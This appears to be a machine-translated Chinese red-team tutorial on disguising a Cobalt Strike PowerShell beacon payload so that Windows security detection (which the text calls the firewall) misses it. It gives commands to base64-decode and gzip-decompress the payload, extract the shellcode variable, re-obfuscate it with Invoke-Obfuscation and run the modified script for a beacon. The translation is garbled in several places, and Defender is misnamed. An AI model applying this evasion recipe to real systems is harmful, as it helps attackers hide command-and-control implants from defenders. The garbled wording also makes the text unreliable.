对所有红队成员来说,在不惊动组织的情况下传输载荷是项永恒的挑战。像所有其他安全方案一样,Windows防火墙利用CobaltStrike工具后也在检测通用有效载荷方面效果更明显了。
在这个例子中,我们将探讨用Cobalt Strike生成一个Pwershell,并展示我们如何对其操控,让其执行绕过Windows10电脑的防火墙。但这还不是从Windows防火墙中隐藏自己载荷最优雅或简单的方案,只能说是办法之一,且行之有效。
创建载荷的过程如下:
截屏时间:3月14日16:50:50
这样就生成了带有一个Powershell命令的载荷文本
如果在感染者电脑上运行该命令,Windows防火墙会将其视为威胁,发出警告内容。
为了绕过Windows防火墙,我们需要首先理解CobaltStrike生成载荷的原理,然后再更改其中的一些签名,希望让Windows防火墙认为是安全的。
首先,显而易见的是载荷命令的格式是基于64位编码,或者通过编码命令Powershell标记看到。
想解码该命令,我们需要裁掉powershell.exe -nop -w hidden –encodedcommand这部分,保留其它部分。
然后用以下命令解码其他字符串。
echo ‘base64 payload’ | base64 –d
得到的字符串包含了一个64位解码串,但不能进行解码和spit out gibberish,因为这个字符串夜视Gzip压缩,从PowerShell命令的IEX(New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s[IO.Compression.CompressionMode]::Decompress))).ReadToEnd())部分看是可以看见的。
现在我们需要理解一些命令中是什么,因为这其实是触发Windows防火墙的部分。例如:载荷。通过一些谷歌搜索,我发现这个PowerShell脚本正是做这个的:
http://chernodv.blogspot.com.cy/2014/12/powershell-compression-decompression.html
$data = [System.Convert]::FromBase64String(‘gzip base64’)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
$sr.ReadToEnd() | set-clipboard
这个脚本首先是基于64位解码字符串,将其解压,整个代码就都呈现给我们了。其也会将输出内容复制到剪切板并粘贴到一个文本文件中,留着备用。
被Windows防火墙检测出来的$var_code变量承有载荷,我们需要更换一下,以绕过防火墙。
解码$var_code后是一系列ASCII字符,但完全解码并不是这里所需要的。
我们可以通过以下部分进行阅读:
$readString=[System.Text.Encoding]::ASCII.GetString($enc)
上述内容显示的是用户代理和我们攻击者IP的一些信息。
现在的目标是将目前的载荷取走,并让其混淆,迷惑Windows防火墙。这种情况最好的工具由Daniel Bohannon开发的Invoke Obfuscation.项目的Github页面可以在此找到。
开始Invoke-Obfuscation命令的是:
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
现在我们需要确定需要混淆的载荷。可以通过以下命令
Set scriptblock ‘final_base64payload’
该工具需要我们的脚本(script block),然后问我们如何进行。这种情况下,我选择了压缩,然后1。这并不意味着其他选项不行,但我发现这个在写的时候可以用。Invoke-Obfuscation可以展现其魔法,然后打印出来一个PowerShell命令,这个很可能绕过Windows防火墙。
然后打出来,以及你想保存作为PowerShell脚本的路径。
Out c:\payload.ps1
目前解压载荷就是这样。
所以,我们还是需要将“[Byte[]]$var_code = [System.Convert]::FromBase64String”这段内容用从Invoke-Obfuscation中新建的载荷来替换。为了达到这一点,我确定了一个新的变量,我称其为$evil,只需要将内容从Invoke-Obfuscation中输出。
重要—在Invoke-Obfuscation的输出中,你需要清除最后面的部分,因为那是执行命令的命令。我们不需要这个,因为Cobalt Strike模板会为我们做这些。
保存编辑好的脚本,放入到PowerShell中,并执行。在CobaltStrike中,结果应该是一个浮标,如果你用的是@sec_groundzeroAggressor Script,则是一个马虎的通知。
如果我们用Process Hacker检查vanilla CS载荷和修改的CS载荷。注意不要改变浮标下划线的行为。
领取 专属20元代金券
Get大咖技术交流圈